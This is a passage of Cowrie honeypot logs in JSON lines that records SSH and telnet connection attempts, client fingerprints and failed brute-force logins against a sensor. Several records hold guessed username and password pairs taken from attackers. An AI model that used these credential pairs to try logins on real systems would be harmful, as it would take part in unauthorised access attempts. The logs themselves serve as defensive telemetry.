{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:43.392937Z","src_ip":"159.203.92.129","session":"80cc409a563a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":47028,"dst_ip":"159.203.135.109","dst_port":23,"session":"51a1088c4594","protocol":"telnet","message":"New connection: 103.216.223.28:47028 (159.203.135.109:23) [session: 51a1088c4594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:51:57.537449Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":53164,"dst_ip":"159.203.135.109","dst_port":23,"session":"dad72cdabafb","protocol":"telnet","message":"New connection: 103.216.223.28:53164 (159.203.135.109:23) [session: dad72cdabafb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:00.790763Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":33400,"dst_ip":"159.203.135.109","dst_port":23,"session":"a55538d292ad","protocol":"telnet","message":"New connection: 103.216.223.28:33400 (159.203.135.109:23) [session: a55538d292ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:05.611780Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":37420,"dst_ip":"159.203.135.109","dst_port":23,"session":"210e1022d444","protocol":"telnet","message":"New connection: 103.216.223.28:37420 (159.203.135.109:23) [session: 210e1022d444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:07.746268Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":40468,"dst_ip":"159.203.135.109","dst_port":23,"session":"f46e810031bb","protocol":"telnet","message":"New connection: 103.216.223.28:40468 (159.203.135.109:23) [session: f46e810031bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:09.566334Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":42576,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e9c439ad439","protocol":"telnet","message":"New connection: 103.216.223.28:42576 (159.203.135.109:23) [session: 1e9c439ad439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:10.730488Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.20.218","src_port":47982,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb7ea78496f8","protocol":"ssh","message":"New connection: 103.172.20.218:47982 (159.203.135.109:22) [session: bb7ea78496f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:11.017930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:11.022304Z","src_ip":"103.172.20.218","session":"bb7ea78496f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:11.247624Z","src_ip":"103.172.20.218","session":"bb7ea78496f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"987654321","message":"login attempt [test/987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:12.199071Z","src_ip":"103.172.20.218","session":"bb7ea78496f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:13.427939Z","src_ip":"103.172.20.218","session":"bb7ea78496f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":50546,"dst_ip":"159.203.135.109","dst_port":23,"session":"42305d93b906","protocol":"telnet","message":"New connection: 103.216.223.28:50546 (159.203.135.109:23) [session: 42305d93b906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:15.591746Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":50158,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f60a436aa87","protocol":"telnet","message":"New connection: 103.216.223.28:50158 (159.203.135.109:23) [session: 4f60a436aa87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:16.462772Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":52824,"dst_ip":"159.203.135.109","dst_port":23,"session":"cacc29b03b07","protocol":"telnet","message":"New connection: 103.216.223.28:52824 (159.203.135.109:23) [session: cacc29b03b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:16.808390Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.208.179","src_port":36006,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e9a83e7da09","protocol":"ssh","message":"New connection: 45.78.208.179:36006 (159.203.135.109:22) [session: 2e9a83e7da09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:17.188587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:17.193593Z","src_ip":"45.78.208.179","session":"2e9a83e7da09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:17.438882Z","src_ip":"45.78.208.179","session":"2e9a83e7da09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":54958,"dst_ip":"159.203.135.109","dst_port":23,"session":"83c92825ed06","protocol":"telnet","message":"New connection: 103.216.223.28:54958 (159.203.135.109:23) [session: 83c92825ed06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:18.026468Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":53186,"dst_ip":"159.203.135.109","dst_port":23,"session":"757134b2a704","protocol":"telnet","message":"New connection: 103.216.223.28:53186 (159.203.135.109:23) [session: 757134b2a704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:18.040212Z"}
{"eventid":"cowrie.login.failed","username":"test_user1","password":"123","message":"login attempt [test_user1/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:18.447655Z","src_ip":"45.78.208.179","session":"2e9a83e7da09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:19.694650Z","src_ip":"45.78.208.179","session":"2e9a83e7da09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":59874,"dst_ip":"159.203.135.109","dst_port":23,"session":"9960284b948d","protocol":"telnet","message":"New connection: 103.216.223.28:59874 (159.203.135.109:23) [session: 9960284b948d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:20.770825Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":60108,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7ba8ba828e1","protocol":"telnet","message":"New connection: 103.216.223.28:60108 (159.203.135.109:23) [session: b7ba8ba828e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:20.875104Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":32830,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6fcecfca497","protocol":"telnet","message":"New connection: 103.216.223.28:32830 (159.203.135.109:23) [session: a6fcecfca497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:21.452926Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.148.100.146","src_port":42358,"dst_ip":"159.203.135.109","dst_port":22,"session":"669328bc03a8","protocol":"ssh","message":"New connection: 103.148.100.146:42358 (159.203.135.109:22) [session: 669328bc03a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:22.496451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:22.501354Z","src_ip":"103.148.100.146","session":"669328bc03a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:22.762411Z","src_ip":"103.148.100.146","session":"669328bc03a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":36868,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4adf93cc8a8","protocol":"telnet","message":"New connection: 103.216.223.28:36868 (159.203.135.109:23) [session: b4adf93cc8a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:23.582294Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":37110,"dst_ip":"159.203.135.109","dst_port":23,"session":"45d4dc77257b","protocol":"telnet","message":"New connection: 103.216.223.28:37110 (159.203.135.109:23) [session: 45d4dc77257b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:23.693124Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ali@2026","message":"login attempt [root/Ali@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:23.838539Z","src_ip":"103.148.100.146","session":"669328bc03a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40368,"dst_ip":"159.203.135.109","dst_port":22,"session":"20acd5c2a36f","protocol":"ssh","message":"New connection: 159.203.92.129:40368 (159.203.135.109:22) [session: 20acd5c2a36f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:24.162557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:24.167392Z","src_ip":"159.203.92.129","session":"20acd5c2a36f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:24.172842Z","src_ip":"159.203.92.129","session":"20acd5c2a36f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"dell@2024","message":"login attempt [admin/dell@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:24.184974Z","src_ip":"159.203.92.129","session":"20acd5c2a36f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":38618,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ab1f8195634","protocol":"telnet","message":"New connection: 103.216.223.28:38618 (159.203.135.109:23) [session: 2ab1f8195634]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:24.551475Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":39160,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5ceaad1526e","protocol":"telnet","message":"New connection: 103.216.223.28:39160 (159.203.135.109:23) [session: b5ceaad1526e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:24.848306Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":37542,"dst_ip":"159.203.135.109","dst_port":23,"session":"13df2fa2a428","protocol":"telnet","message":"New connection: 103.216.223.28:37542 (159.203.135.109:23) [session: 13df2fa2a428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:24.893126Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":39292,"dst_ip":"159.203.135.109","dst_port":23,"session":"a901c617663a","protocol":"telnet","message":"New connection: 103.216.223.28:39292 (159.203.135.109:23) [session: a901c617663a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:24.970999Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:25.103818Z","src_ip":"103.148.100.146","session":"669328bc03a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:25.193990Z","src_ip":"159.203.92.129","session":"20acd5c2a36f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":40928,"dst_ip":"159.203.135.109","dst_port":23,"session":"132b4d8b806b","protocol":"telnet","message":"New connection: 103.216.223.28:40928 (159.203.135.109:23) [session: 132b4d8b806b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:25.788533Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":42312,"dst_ip":"159.203.135.109","dst_port":23,"session":"103fcd517bae","protocol":"telnet","message":"New connection: 103.216.223.28:42312 (159.203.135.109:23) [session: 103fcd517bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:26.602031Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":45344,"dst_ip":"159.203.135.109","dst_port":23,"session":"db63aa2a6c69","protocol":"telnet","message":"New connection: 103.216.223.28:45344 (159.203.135.109:23) [session: db63aa2a6c69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:28.621072Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":45356,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b529352caab","protocol":"telnet","message":"New connection: 103.216.223.28:45356 (159.203.135.109:23) [session: 1b529352caab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:28.624824Z"}
{"eventid":"cowrie.session.closed","duration":31.13803744316101,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:28.675195Z","src_ip":"103.216.223.28","session":"51a1088c4594","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":46460,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc91e7ce7477","protocol":"telnet","message":"New connection: 103.216.223.28:46460 (159.203.135.109:23) [session: bc91e7ce7477]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:29.299493Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":47888,"dst_ip":"159.203.135.109","dst_port":23,"session":"f76c0c4d794f","protocol":"telnet","message":"New connection: 103.216.223.28:47888 (159.203.135.109:23) [session: f76c0c4d794f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:30.130802Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":48190,"dst_ip":"159.203.135.109","dst_port":23,"session":"96109407e404","protocol":"telnet","message":"New connection: 103.216.223.28:48190 (159.203.135.109:23) [session: 96109407e404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:30.345396Z"}
{"eventid":"cowrie.session.closed","duration":30.480542421340942,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:31.271209Z","src_ip":"103.216.223.28","session":"dad72cdabafb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":20175,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8c3cf14fa61","protocol":"ssh","message":"New connection: 223.197.186.7:20175 (159.203.135.109:22) [session: e8c3cf14fa61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:33.394763Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:33.399198Z","src_ip":"223.197.186.7","session":"e8c3cf14fa61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.216.223.28","src_port":53288,"dst_ip":"159.203.135.109","dst_port":23,"session":"84f3492a0992","protocol":"telnet","message":"New connection: 103.216.223.28:53288 (159.203.135.109:23) [session: 84f3492a0992]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T17:52:33.531991Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 